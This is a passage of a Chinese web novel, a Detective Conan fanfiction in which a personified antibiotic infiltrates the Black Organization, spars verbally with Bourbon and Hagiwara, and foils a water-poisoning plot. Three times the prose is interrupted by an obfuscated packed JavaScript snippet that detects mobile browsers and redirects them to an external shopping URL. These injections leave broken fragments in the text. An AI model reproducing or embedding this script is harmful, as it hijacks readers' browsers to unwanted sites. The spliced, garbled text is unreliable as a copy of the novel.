他的任务是杀死杂菌,保护细胞。所以,即便没有系统的指令,像安室透这样柔弱的好细胞也在保护范围内。
这么想着,头孢看金发男人愈发顺眼,嘴角上扬2个像素点:
“至于任职单位……目前我还没通过那里的考核,不确定会不会留下,就不说了。走吧,我送你回咖啡厅。”
他说完便朝巷口走去。安室透将这番话于心中反复推磨,眼底掠过复杂神色,最终还是跟上去,扬起一抹笑:
“回去就不必了,我还是打算去医院看看,毕竟刚好请了假。”
头孢脚步一滞,“那我可能没法送你,我要在咖啡厅门口等朋友。”
“没关系,我叫了另外的友人来接我。”安室透不着痕迹地套取信息,“青岛君方便留个联系方式吗?也许以后可以一起喝咖啡。”
头孢却摇头,“抱歉,我不是很喜欢用手机。”
这是实话。而且等他正式加入组织,电子设备恐怕也会受到监视,他不能让无辜细胞再联系他。
安室透笑容淡了些:“是吗?那真可惜。”
“安室先生。”
头孢回头看他,叮嘱道:“今天的事到此为止。你回去好好休息,不要悲伤过度,如果身体还有不适,建议去医院检查。”
想了想,他补充道:“毕竟你看起来真的很弱。”
这么一番叮嘱总该记住他了,不过他怎么还没收到任务完成提示?难不成威胁还没彻底排除?
安室透眼底最后一点笑意消失了。
“好吧。”
尽管暗地里咬牙切齿,可他还是耸耸肩,在咖啡厅外站定,“那我们有缘再见,谢谢您今天的……关心。”
两人在咖啡厅门口分开。安室透最后看了眼白发青年,转身走向街对面——那里停着一辆黑色的三菱 Lancer evo IX。
敲开车窗,驾驶位上的男人藏在阴影里,仅露出小半截带着胡茬的下巴。
安室透率先开口:“如何?”
男人摇摇头,抬手递来一张纸条。安室透看完沉下脸色:
“没有可疑人员,U盘消失……看来在你和那个帮派到场前,就有第三方插手了。”
透过降下一半的车窗,安室透打量着仍然站在咖啡厅外的青年,再抬头,又一张纸条塞到他眼前。
他挑眉,“你怀疑后面那个?的确是个很好的怀疑对象,但他的身手不错,我要找其他机会接近他。现在最重要的是……”
话音戛然而止。
手机振动,是贝尔摩德的邮件:
[接到人了吗?——V]
安室透冷笑,回复:
[没有。你的小朋友不会被案子吓跑了吧?三次了,把联系方式给我,这次我自己找。——B]
几秒后,一串号码发来。
安室透心说一早这么痛快不就好了,随后复制号码拨了过去。电话接通的同时,他若有所感地转头——
咖啡厅门口,头孢听着口袋里的震动,后知后觉是手机在响。
他迟疑地拿出手机,“喂?”
电话里只有脚步声与衣料窸窣,片刻后消失,与此同时眼前投下一片阴影。
头孢抬头,就见本应离开的金发男人又折返回来,正站在他面前,弯着眉眼。
‘安室先生?’他做了个口型。
安室透没回答,只是抬手——头孢这才发现对方也拿着手机,放在耳边。
雨后的阳光从云层缝隙漏下,洒在那头耀金的发上,让眼前的男人看起来干净得不染尘埃,仿佛与泥泞的世界格格不入。
下一秒,金发男人扬起一个甜得瘆人的笑容:
“青岛先生?”
头孢的手机里发出相同的声音。
“或者说,我该叫你……贝尔摩德介绍来的新人君?”
头孢缓缓、缓缓地,张开嘴。
啊。
原来如此。
“是你,波本。”
4. 四颗头孢
【更新资料……】
【姓名:安室透(无辜阳光的波洛咖啡店员工,兼职侦探,组织干部波本)危险评级:A+】
【任务洞悉:得罪安室透(已完成,奖励商城积分x1000、系统阵营识别能力已发送)。】
【新任务:打入组织(一个月内)】
【任务描述:虽然收到了波本的猜忌x7,但您成功与其建立了羁绊。接下来请如法炮制,打入组织——记住,我们的时间不多了。】
【任务奖励:商城积分x2000,世界平衡进度+5%。】
【失败惩罚:世界平衡进度永久性丢失15%。】
【特殊提示:目睹太阳坠落以后,你还能否拉着他们一起逃离命运的手?[该提示宿主不可见]】
他早该意识到的。
头孢心想。
巧合的时间,巧合的地点,巧合的等朋友……当无数巧合堆叠在一起,巧合便不再是巧合。
甚至回忆起来,金毛杂菌的第一个问题都透着反常。并非‘你是谁’、‘你要做什么’,而是‘你想要什么’,寻常细胞遇到拦路捂嘴可不会如此冷静。
只可惜,他根据描述先入为主,结果波本不仅不是好细胞,还让他完成了【得罪安室透】这种任务,明明他一直在保护对方。
早知道就下药了。
头孢面无表情地坐进车里——尽管这张脸根本做不出大动作,鼻腔就被混杂的杂菌气息刺激得发痒,手指也在身侧微微抽动,很想对车内进行彻底消杀。
另外,波本不是已经接到他了?这算打入组织吧,怎么任务还没完成?
【呃,或许是需要正式入职?他们应该有考核流程…等等!你真在我休眠时把任务完成了?!】
系统的声音带着刚醒的模糊,咪咪呜呜地撞进意识中。头孢望向窗外的眼平静地眨了下,这次系统醒得比往常快,应该是好兆头。
【你睡了一小时。】
【十分抱歉!下次我一定会赶上任务的!】
不理解系统为什么总是很抱歉,可头孢还是在意识海里拍拍系统的脑壳,应了一声:【好。这次加上小阵那次,2000积分应该够了,拜托你开启商城权限。】
阵营功能暂且不看,这一车绝对都是杂菌。反而他对商城好奇已久,如今正好见识一下。
【哦哦好的!】系统拍拍胸脯:【已开启商城,请宿主过目!】
商城是系统在能量恢复过程中,给予头孢的杀菌回馈,完全的互惠互利。
掠过[十包消毒湿巾]、[白大褂]这类用钱也能买到的道具,头孢锁定了价值1800积分的[电子产品信息读取功能·永久],毫不心疼地点击兑换,这样他就可以读取U盘资料了。
很快,系统读取到的信息就展开在识海里:U盘内是[龙之会]内部派系斗争的大部分记录,以及若头的犯罪证据。
贩|毒、人口买|卖……桩桩件件足够将龙之会连根拔起,毕竟日本黑|帮还没合法到这些事也要无罪的地步。
而如果资料属实,那龙之会也是全员杂菌,是他的肃清对象……
在心里把信息过了一遍,头孢视线转向车内同样需要肃清的家伙。
驾驶位的男人头戴兜帽,全程沉默,后视镜里只能瞥见对方略带胡茬的下巴。头孢转而看向身侧的波本——
一个鼻子两只眼一张嘴。
虽说是杂菌,但原来波本不是大卡车,也没有鞭毛吗……
“喂,你在看哪里?”
顶着毫不掩饰的炽热视线,安室透不悦地眯起眼,语气不善,“在咖啡厅还没看够?”
头孢想了想,诚实回答:“不,只是看到你有点反胃。”
精心呵护的金毛细胞秒变金黄色葡萄球菌,他现在真的很难过,难过到胃痛。
“…哈?”安室透这次是真气笑了。
“青岛先生,或者说……新人君。”安室透压低声音,咬字缱绻,“在你开口前,最好先确认现状。”
他倾身逼近,试图从那张脸上找出一丝畏惧,却在看到那淡漠依旧的表情后更加窝火,语气不由冷了几分:
“袭击代号成员,就凭这一点,你在组织里只会有一个下场。”
“贝尔摩德让我来接你,但她可不会当你的护身符。而你能不能见到明天的太阳,全看我的心情……懂么?”
白发青年不说话了。
就在安室透以为震慑起效时,对方突然开口:“明天是阴转小雨。”
安室透:?
你小子油盐不进是吧!
眼角狠狠一跳,安室透觉得自己血压都高了。
自从十年前取得代号,除了加拿大威士忌,还没人敢这么明目张胆地挑衅他。到底是贝尔摩德没交代清楚组织的等级制度,还是青岛纯生有恃无恐?
但不论怎么说,他都要对方得到教训。
前排伸来一部手机,屏幕亮着:【需要我找个安静的地方停车吗?】
安室透摇摇头退回座位,抱臂冷笑:“不用,马上到了,直接送他去训练营就好。”
头孢耳尖一动,“训练营?”
组织似乎没有入职军训的习俗,那就是去当医生?
“贝尔摩德没告诉你?”
如他所想,安室透退出邮箱界面,收起手机,语气恢复冷淡:“你的考核由我负责。组织在东京的训练营刚好缺一位医生,你去正合适。”
刚好二字咬得意味深长,未等头孢细想,车子就驶进一处停车场,刚一停下,窗外就小跑来一名黑衣寸头男。
系统提醒:【是训练营的教官,来接你的。】
头孢沉吟一声:【这样么,我明白了。】
没有按照身边金发男人的眼神示意下车,头孢从口袋里掏出U盘递过去,“给你。”
安室透眼神一凛,“这是…?”
“从死细胞身上掉下来的。”头孢坦诚道:“你应该需要它。”
既然金毛杂菌要对付龙之会,那就相当于帮他杀菌,只要能完成消杀,过程不重要。
细胞?还真是奇怪的口癖。
安室透接过U盘,于指间翻转把玩,目光多了丝意味深长:“你知道交出它意味着什么吗?”
意味着对方放弃了唯一可以作为底牌的、能够与自己谈判的筹码。
虽然安室透认为自己不会被区区U盘威胁,可青岛纯生为什么要这么做?
头孢并未立刻回答,而是偏头问道:“没有这个你会被追责么?”
安室透转动U盘的动作一顿。
察觉到这细微的停滞,头孢点点头,“那这样就好。”
说罢,他推门下车。
金毛杂菌找不到U盘→被杂菌高层问责→受处罚甚至被销毁→龙之会的杂菌无人处理……这样的循环一点都不符合他的杀菌宗旨,所以他才会将U盘还给金毛杂菌,达成杂菌互杀。
而且他要专注于完成加入组织的任务,没精力去对付龙之会,剩下的就交给金毛杂菌了。
望着青年推门而去的背影,安室透怔愣片刻,忽地看向前排阴影里的男人。
在看到对方唇边弯起的些微弧度后,他咬了咬牙,推门下车,让正要带白发青年离开的寸头一愣,慌忙弯下腰:
“波本大人……”
“不用管我,”安室透挥手打断对方,声音冷硬,“我顺路去训练营转转。”
“诶…是、是!您这边请。”
寸头教官懵了。
之前不还暗示他‘好好关照’新医生,怎么波本大人亲自跟下来了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149330|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘶……难不成关照是字面意思?
念头刚一闪过,三菱车的前门打开,本应留在车内的兜帽男人也下了车。这下不止寸头教官,就连安室透也难掩诧异:
“苏格兰?”
苏格兰只是颔首,便站到白发青年另一侧,比了个手势:‘走吧。’
寸头教官:?
本应来接人的寸头教官莫名其妙地被挤到后面,脸色风云骤变,看着三人的背影惊疑不定。
太怪了…这新人什么来头,完全超过‘被关照’的范围了啊!这架势分明是护送吧!
谁家写作关照、读作找茬,是两个代号干部把新人夹在中间走、还说说笑笑的?反正他没见过!
暗自庆幸自己刚才态度还算端正,寸头教官缩着脖子坠在三人后方。而被夹在中间的头孢,此刻终于有机会看清司机的全貌。
与预想中的冷硬面孔不同。除去下巴上的胡茬,苏格兰五官清秀,气质沉静如水,甚至还有一双漂亮的蓝色猫眼。
如果波本是低温太阳,那苏格兰更像温暖的月亮,简直是两种极端。
“你在看哪里?”金毛杂菌说话了,眼神怀疑,“规则都记住了?”
他怎么感觉这家伙在走神偷看苏格兰?
头孢目不斜视,“记住了。”
系统哀叹:【别让我帮你记啊!重要信息漏了怎么办?】
踏入电梯,头孢沉吟片刻,真诚提问:【那你还能做什么?】
如果系统能提供给他实用性的帮助,那波本说的内容他来记也可以。
系统:??
可恶,瞧不起谁呢!不要小看世界意识啊!
系统气呼呼地蹲进识海角落。头孢不解地敲敲角落里的蘑菇,没得到回答,便收回注意,改为观察基地的建设。
组织基地内部更像多层训练场套叠在一起,倒没有科幻片里那样大,下电梯不出两分钟,一行人便来到一间标有红十字的房前。
“以后这就是你的医务室,具体规矩藤田会告诉你。另外,这处训练营有个规矩,那就是轮值。”
安室透伸手,姓藤田的寸头教官立刻奉上排班表。金发男人扫了一眼,忽地勾起唇角:
“真巧,今晚就是你轮值夜班。好好工作,新人君。”
人既已进入组织,那就跑不掉了。既然U盘到手,那他就不用再去搜集情报,当务之急是处理龙之会,青岛纯生给他下药一事可以秋后算账。
更何况,只要想到青岛纯生成了训练营的医生,安室透便觉此前种种冒犯都可一带而过——
毕竟,他没必要和一个注定倒霉的家伙置气。
安室透笑容愈发灿烂,看得藤田背后发凉,头孢却认真点了头:
“我会的。”
他无需进食和睡眠,夜班对他来说反而是整理思绪的好机会。况且,加入组织的任务仍未完成,通宵值班或许也是考核的一环。
得积极应对才是。
这么想着,头孢突然想起波本之前说要去医院,刚要开口说什么,却听医务室的门锁忽地传来‘咯哒咯哒’的声音。
四人瞬间扭头看去,撬锁声停了,门被推开一条缝,一个半长发男人侧身挤进来。他扫视屋内,紫罗兰色的眼睛在看到头孢时亮了亮:
“哇哦,又换了新医生?真快啊。”
头孢眯起眼,“又?”
“是啊,是‘又’哦。”
男人瞥了眼面色陡然阴沉的安室透,笑意加深:
“他们没告诉你?嘛,先不说这个……”
他径自走到诊疗床边坐下,撩起袖口,冲白发青年眨了眨眼:“正好你在,就让我帮训练营的各位检验一下你的医疗水平好了,新人君~”
“不过还请轻拿轻放,毕竟我可是很怕疼的。”
5. 五颗头孢
头孢没动。
他只静静盯住半长发男人的眼睛,久到对方眼皮都开始轻微痉挛,才从胸前口袋里抽出一张卡片,递过去。
对方迟疑地接过,“这是?”
“再晚一点,你的伤口就愈合了。”
头孢指指自己的太阳穴,语气诚恳,“我认为你更需要这个,这是东京第一医院精神科主任的电话。”
半长发男人:“……”
他不是精神病啊可恶!
安室透:“…咳!”
用咳嗽掩盖笑意,安室透瞥见半长发男人罕见垮掉的表情,心情大好。他转向头孢,语气恢复了公事公办的冷淡:
“别随随便便就死了,明天我接你去考核。苏格兰,我们走。”
虽然被这家伙呛声很让人窝火,但看青岛纯生呛别人,尤其是和他一直不对付的田纳西,他就忽然开心了。
这么一想,青岛纯生还算有点意思,先留对方蹦跶几天吧。
头孢对留在此地毫无异议。等一行人的脚步声彻底消失,他反锁上门,走进处置室,视线扫过明显减少的医疗包和针剂,黑眸眯起。
系统小心翼翼地问:【怎么了?他拿了很重要的东西?】
头孢回忆起半长发杂菌往怀里塞东西的动作,摇头:
【不。只是奇怪,那点伤为什么要用到绷带和麻醉,而且他在病原体中似乎地位不低,不该连医疗包都要撬锁进来拿……不过我更在意另一件事。】
用湿巾抹了把桌面,头孢看着瞬间变灰的湿巾,再看看墙角那滩早已干涸发黑的血迹,对系统道:
【我大概明白金毛杂菌为什么说别死了。】
系统支棱起来:【哦哦!他关心你?】
【怎么可能。】
头孢捏起托盘里用过的手术刀一角,将之丢进酒精里,一边分析:
【是因为作为考核官,我死了,他的考核没办法继续,可能会影响金毛杂菌的晋升和评优评先。】
【?】系统被唬住了,但它总觉得不对劲:【你们那的病原体还有评优评先?】
【有吧。】
头孢回忆一下树突细胞跟他说过的科普,继续道:
【而且,担心谁应该看着对方的眼睛,可他没有与我对视。所以金毛杂菌只是在提醒我别添乱,绝对不是在关心我。】
系统沉默良久:【……你好懂啊。】
它现在有些震惊于头孢激增的情商了,难不成真是自己误会了头孢?其实这孩子不是不会说话,而是话里有话?
头孢颔首:【和狡猾的杂菌打交道,多少要懂点。好,该说说今晚的重点了。】
清点好随身的药剂,白发青年坐到唯一干净的诊疗床上,仰望天花板上喷溅的血迹。
按理说,医生的工作环境应该被优先保障,这也是对患者健康的保证。
可这间医务室却只有床、处置室和药柜相对整洁,层叠的血迹表示这里曾发生过流血事件,单纯处理伤口不会如此,多半是有细胞或杂菌死在了这里。
而落灰的桌面和器械又与半长发杂菌说的‘换新医生’的说法矛盾——显然无论是‘又’还是‘新’,都不该让处于地下的医疗室积攒如此厚重的灰尘。
【所以,有人一直在针对这里的医生,今晚的值班必然不会太平。】
【那我们接下来怎么办?找个角落躲过今晚?】
头孢疑惑:【为什么要躲?】
系统不明白:【那你要主动找出袭击者?可我们没有线索啊。】
【的确没有。】
头孢看了眼手表,时针指向六点,再过不久就是全然的黑夜,随即从左边内袋取出一个不起眼的药包,放在手里掂了掂,声音放轻:
【但既然无法确定谁会袭击——】
系统:?
【那就把潜在袭击者全部杀掉,这样比一个个找省力多了,不是吗?】
系统:???
不是,等等!这逻辑是不是有问题?
不要在别人的大本营大开杀戒啊啊啊住手!
*
夜幕降临。
利用U盘内的资料迅速完成了对龙之会的布局,安室透目送着若头及其手下被警车押走,轻笑一声,便升起车窗隐没在黑暗里。
后续清理自有人处理,而安室透则决定早点回去休息。毕竟明天还要带那个新人考核,虽然单论武力,他毫不怀疑对方的通过率。
“但一名医生拥有堪比行动组的身手,你不觉得奇怪么,贝尔摩德?该不会根本没调查吧?”
身体还记得对方的力道。提到白色之人,安室透只觉胸口和后颈都在隐隐作痛,电话里的语气也不是很好。
听筒传来女人慵懒的笑:“职业影响罢了。况且你也查了吧,波本,吃瘪后不去反击可不像你的风格。”
“……的确。”
恢复自由后,他就立刻动用人脉查了青岛纯生。资料显示,对方是临床医学博士,有一年的骨科科室实习经历。
骨科嘛,电锯锤子轮番上阵,力气比别人大很正常。可对方制服他的动作里隐隐带着官方的影子,这点或许只有他这个被‘挟持’过的人知晓。
他不会主动透露,毕竟他也有私心。可安室透必须向贝尔摩德点明疑虑,日后青岛纯生真出了问题,他今天的提醒就是免责声明。
“话说,你是怎么认识他的?他看起来可是很笃定你会保他。”安室透状似随口一问。
贝尔摩德轻笑,“也许他救过我的命,我打算知恩图报也说不定。”
“哦?”安室透被逗乐了,“是通往天堂的路还是地狱之门?”
女声叹息:“真伤人啊,波本。你今天火气这么大,该不会又被加拿大威士忌招惹了?”
“那倒没有,”男人唇角勾起,“而且今天看到那家伙的跟班在青岛纯生那里吃瘪,我还挺开心的。”
“嗯哼,看来你们相处融洽。我听说是你和苏格兰护送新医生去的医务室呢。”贝尔摩德意有所指。
组织的训练营绝非善地。杀手预备役们为了有限的晋级名额互相厮杀,所有人都是竞争对手。
为此,他们会不择手段地杀死其他人,而在打伤对手后,为了阻止其得到治疗,袭击医生、破坏医务室也成了常规手段。
在青岛纯生之前,这处训练营于七年里折了十八任医生,三名凭借关系调到外围,而这三人中又有两位是缺胳膊少腿走的。
而有代号成员明确介入,对医生而言算是临时护身符,至少那些预备役们为了不得罪干部会有所顾忌。
但——
挂断电话,安室透眼底闪过凝重,旋即又化开。
他暗示贝尔摩德疏忽调查,对方就点他袒护新人么……可惜,他绝不会与青岛纯生绑定,去训练营只是要物色好苗子而已。
这些年,属于波本的势力在扩张,却也令他分身乏术。为此,他需要挑选一个副手带在身边培养——至少忠心,像给加拿大开车的伏特加就不错。
结果被青岛纯生一打岔,他完全忘记了这回事,还是苏格兰回车上欲言又止的眼神提醒了他。
说回青岛纯生,那家伙不会有事吧?可别在他审讯对方前就莫名死掉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149331|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
犹豫片刻,安室透还是靠边停车,正要发邮件询问,一个电话抢先打了进来。
“波本大人…新医生在整个训练营范围下了药!现在一半人休克,还有人口吐白沫,还有#¥%……”
安室透:???
还有什么你倒是说完啊!
……等等,藤田不会也…?!
顾不上回去休息,安室透猛打方向盘,将车开得飞起。十分钟后他冲进基地,远远就看见有人把一个黑衣寸头抬上担架,正是藤田。
他快步上前,厉声问:“到底怎么回事?”
寸头教官勉强睁眼,颤抖着指向一旁抱臂而立的白发青年,热泪盈眶:“波本…大人,是青岛……”
“他……在水里…下毒!”
安室透锐利的目光直指白发青年:“解释。”
这事处理不好,就是他和贝尔摩德共同的锅。而且青岛纯生这家伙是见人就下毒吗?你下毒怎么还雨露均沾啊!
头孢却摇摇头,语气如常,一潭死水:
“我还没来得及下毒。只是发现有鬼鬼祟祟的家伙向饮用水里投放不明物质,才打算去取样看看是什么。”
众人:?
你刚才是不是承认了原本想下毒?就这么轻易地说出来了吗!
看着藤田在担架上直翻白眼,安室透深吸一口气:“姑且相信你,那个投毒的人呢?”
“被我放倒了。”
头孢抬手指向另一副担架上口吐白沫的杀手预备役,“他目击到了我,为避免打草惊蛇,我只好就地取材,把水先舀给他喝了。”
“……那你本来想下毒是怎么回事?”
说到这个,头孢的眼神顷刻犀利:“因为这里有袭击医生的习俗,可我初来乍到,没办法看出是谁想害医生。”
“所以?”安室透预感不妙。
头孢满意点头,“所以我决定把杂菌全放倒。”
系统:【都说了不要在敌人的地盘上挑衅啊啊啊啊啊啊!】
安室透:“??!”
找不出问题就解决掉会产生问题的人吗?这是什么暴力逻辑啊!!
但再怎么觉得无理取闹,鉴于青岛纯生没下药,只是稍微推波助澜知情不报了一下,组织也并非正义法庭,安室透还真就只能收拾烂摊子,把这件事压下去。
作为训练营的负责人之一,金发男人看着半个基地的人全被拉走抢救,后槽牙磨了又磨,最终挤出一句:
“你还真是…帮了个大忙。”
他现在只能苦中作乐,想到可以凭借这次的中毒事件筛选成员体质了。
头孢谦虚接受:“不客气。”
他顿了顿,将男人端详一番,“你脸色好像有点发黑,也中毒了?”
天然黑皮·安室透:???
讽刺是吧?硬了!拳头硬了!
然而不等他呛回去,推门声就打断了他波澜起伏的情绪。
白日里来过的半长发青年远远朝他们挥手,一边抬高声音:“好多人啊,这里是怎么了?”
见没人接话,他也不恼,而是径直走到头孢面前,头孢这才发现对方手里的便当盒。
便当被塞到怀里,一起闯入视线的是一对紫罗兰色的眼。
半长发青年浅浅笑着,“我是来还人情的,毕竟白天拿了你那么多医疗包呢。不过……”
他斜睨了一眼安室透,于后者的警告下笑意更甚:
“你看起来好像被波本针对了哦,那么需要帮忙吗?我对处理这些麻烦事可是很有经验的。”
“新↘↗人↑君→↗~”
6. 六颗头孢
萩原研二是来送便当的。
能让波本和苏格兰同时关注的新人本就不多见,更何况是个被塞进训练营当医生的“特殊人才”。所以他借着替幼驯染取药的由头,顺理成章地踏进了医务室。
可第二次来时,萩原研二的心态已经变了。
——他对青岛纯生产生了兴趣。
那种兴趣混合着探究与玩味,就像发现了一个设计精巧却用途不明的装置。
萩原研二猛猛出击,甚至考虑到基地鸟不拉屎的地理位置,特意绕路去买了豪华便当,以还人情为由递到对方面前,又在察觉到波本与新人之间微妙的气氛后,公然挖墙脚。
他一向擅长与人打交道。只要他愿意,三分钟内能让戒备最深的陌生人卸下心防。
但显然,青岛纯生不是个人。
白发青年将便当塞回去,神色浅淡:“我不能吃你的食物。另外,我也没有被金毛菌针对。”
安室透:?
他环顾四周,确认走廊里只有自己一头金发,什么金毛菌,他吗?这家伙在给他取什么外号!
萩原研二眼中掠过一丝暗芒。他没有再次递出便当,而是将盒子捧在手中,夸张地叹了口气:
“可我在门外都听见了哦?波本明明在怀疑你吧。”
他歪了歪头,紫罗兰色的眼睛里盛满无害的笑意,“而且都给人起这种绰号了,还不算讨厌他吗?”
对敌视的目光视若无睹就算了,毕竟都是上不得台面的家伙。但就连波本的怀疑也置若罔闻,还给对方取外号……
这和当着老板的面骂对方是秃头有什么区别?
新人君该不会以为,做了这些事后还能在人黑心黑的波本手里全身而退吧?
对此头孢倒是很平静:“我和他的误会已经解除了,而且金毛菌只是……”
他顿住了。
“只是什么?”萩原研二追问。
头孢一时不知如何解释这个词。
在细胞界,杂菌不算友好的称呼,可金毛杂菌提醒过他危险,虽然阵营不同,但对方似乎有点良心,所以头孢没用这种贬义词再指代对方。
斟酌片刻,他给出了自认为妥当的解释:“只是一种昵称。”
萩原研二大为震惊,“你已经和波本熟到可以起昵称的地步了吗!”
他深吸一口气,目光扫过安室透微微抽搐的嘴角,认为自己仍有胜算。
“好吧,重新自我介绍一下。”萩原研二向前半步,声音压低到恰到好处的亲密距离,“我是萩原研二,代号田纳西——也是一款威士忌哦。”
他眨了下眼睛,紫罗兰色的眼里摇曳着蛊惑的光:“波本给你开什么条件?我出三倍。”
头孢却摇头:“这不是报酬的问题。”
“那是什么问题?”
头孢很想如实回答,说波本是他的考核官,且他不可能离开这处杂菌大本营,系统就开了麦:
【呃,你要不先答应他?再拒绝会不会有点打脸?这对你的人际关系不好吧。】
而且,虽然它知道头孢不能吃人类食物,可黑方不知道啊!
萩原研二被拒绝时脸色超——恐怖的,这家伙看着纯良,但完全就是个白切黑厉鬼!
头孢不那么觉得:【可他看起来比金毛菌还友善。而且被拒绝这种事,多经历几次就习惯了。】
系统快窒息了:【你哪有那么多条命让他习惯啊!!】
就在系统准备长篇大论时,头孢已经开口:“我更喜欢留在这里。”
萩原研二余光瞥见安室透微微变化的脸色,心中了然。他笑容加深,语气却带上哀怨:
“喜欢?可如果没猜错,是波本要求你待在这儿的吧?”
“在训练营当医生很无聊的。两点一线的生活,用不了多久就会厌倦。但我能给你更多自由,真的不考虑吗?”
“就比如……”
他靠近一步,甜蜜嗓音压得更低,仅容三人听见:“如果我说,跟我一起,你能接触到组织核心药物研发的权限呢?”
“波本能给你这个吗?据我所知,医疗组的基础权限,可碰不到那些真正有趣的东西哦。”
“田纳西!”安室透的声音陡然冷厉。
用药物权限挖人?这明摆是在…不,不对。
安室透瞬间反应过来。
这家伙平时对实验室决口不提,今天怎么……是试探青岛纯生对药物的态度?
他立刻看向白发青年,然而头孢并未直接回答那个诱人的提议,反而将视线落在便当盒上,突然开口:
“里面是冷食,对吗?”
萩原研二一愣,下意识点头:“嗯?对哦,是金枪鱼沙拉和寿司……”
“长期食用生冷食物,尤其是海产品,会增加寄生虫感染和胃肠道功能紊乱的风险。”头孢摇摇头,“所以出于健康考量,我推荐选择热食。”
萩原研二:???
头孢迎向半长发青年错愕的目光,用平铺直叙的口吻解释道:
“我的意思是,你说的核心药物就像冷食便当,或许美味,可我更倾向于健康热食,也就是训练营的医务室。”
“所以,请恕我拒绝。”
走廊陷入短暂的寂静。
萩原研二眨了眨眼,脸上的笑容变得有些恍惚,却在瞬间散去。他缓缓拍了拍手,语气里是某种重新评估的意味:
“这样啊……你还真是不赖呢。”
“谢谢夸奖。”头孢点头,想了想又补充道:“虽然不吃便当,但还是要谢谢你的邀请,好心的紫色杆菌。”
——紫眼睛、形态细长的菌,真贴切。他都开始佩服自己的命名准确性了。
萩原研二的表情终于裂开了,“你的取名水平绝对是故意的吧!”
安室透在旁边嗤笑出声:“哈!真遗憾啊紫色杆菌,邀请失败了呢。”
他转向头孢,越看越觉得顺眼,话却是对萩原研二说的:“别总惦记着我的人。考核通过后,他会是我的副手。”
此话一出,周围吃瓜的预备役们脸色骤变。萩原研二瞳孔微缩,面上笑意彻底冷了下来。
紫罗兰色的眼眸蒙上晦暗阴影,眼睛的主人轻声呢喃:“真讨厌呀波本……当初抢走苏格兰就算了,现在连新人君也要抢吗?”
撇下一句令在场众人竖起耳朵的话,下一秒,萩原研二又恢复了轻佻的模样,仿佛刚才的阴郁从未存在,后退一步,耸耸肩:
“好吧,那我只能忍痛割爱了。可惜没办法把新人君带回去送给小阵平,不过我的邀请长期有效哦。”
他语气轻快,却带着深意,“人总有想换口味的时候,我等着你觉得冷食也不错的那天。”
他将便当盒强行塞进头孢手里,便潇洒挥手,风风火火地离开了。
安室透盯着他消失在走廊尽头,没好气地翻了个白眼,快速在手机上输入了什么,随后转头对头孢目光复杂:
“你应付他倒是很有一套。”
头孢打开便当盒——果然是冷食大全。他将盒子递给安室透。
“我只是陈述事实。”他说,“另外,冷食对肠胃不好,但你应该没问题。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149332|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他是抗生素,又不是打虫药,但金黄色葡萄球菌和寄生虫大概能和平共处。
安室透:“……???”
合着他的肠胃就不是肠胃了是吧!
“呵。”金发青年气极反笑,“明早八点,医务室等我。我·亲·自带你去考核。”
他咬牙切齿地说完,瞪了头孢一眼,转身离开。
原本安排在明晚的考核必须提前。这破基地又没写“狗与田纳西不得入内”,要是在自己地盘被挖了墙角,他的脸往哪儿搁?不如早早把人拴在身边。
……啊可是他好想反悔!青岛纯生这张嘴太可恶了!
但抛开这点,对方刚才那番应对确实漂亮。冷静、清醒,且立场明确——正是他需要的副手人选。
啧。
安室透一路表情变幻地坐进车里,看了眼时间,轻啧一声。
苏格兰应该出任务去了。本来还想睡前问问,为什么对方今天特意跟着下车护送…陪自己来训练营,还是算了,明天再问也不迟。
至于对青岛纯生的审问,也可以暂缓。人跑不掉,总有弄清楚的时候,或许这次考核就能看出端倪。
安室透联系下属处理完投毒事件的收尾,便驱车离开。头孢对日程变更没有异议,在众人混杂着惊恐与敬畏的目光中,回到医疗室旁的单间。
组织给他准备的房间虽小,但也五脏俱全。
头孢面无表情地站在冰箱前,戴上厚手套,从冷冻室里捏出化得血淋淋的内脏器官,又扫了眼被人为拔掉的冰箱插线。
他皱着眉从【商城】兑换了10积分的【绿色消毒组合】,又在墙角发现了三枚窃听器,顺手扔进垃圾桶里。
“好,现在可以住人了。”
十点前,房间恢复整洁。头孢躺上床,听见系统长舒一口气:
【今天你真是吓了我一跳,还好没起冲突……你拒绝萩原研二的时候,我差点以为要触发战斗剧情了。】
“如果说谎他们会发现吧,”头孢不以为然,“而且用多少来衡量自由这件事,本身就不自由,所以我不认为他会给我真正的行动权限。”
不过也多亏这次冲突,头孢才大致摸清了病原体组织的派系:
金毛菌和猫眼菌走得近,紫色杆菌和对方口中的小阵平菌是一伙,贝尔摩德则与金毛菌有联系。
而他目前则是金毛菌的待定副手,相信很快就能摸清这个组织的关系网,将他们一网打尽。
系统明白了,但有个疑问:【为什么贝尔摩德不是‘菌’?】
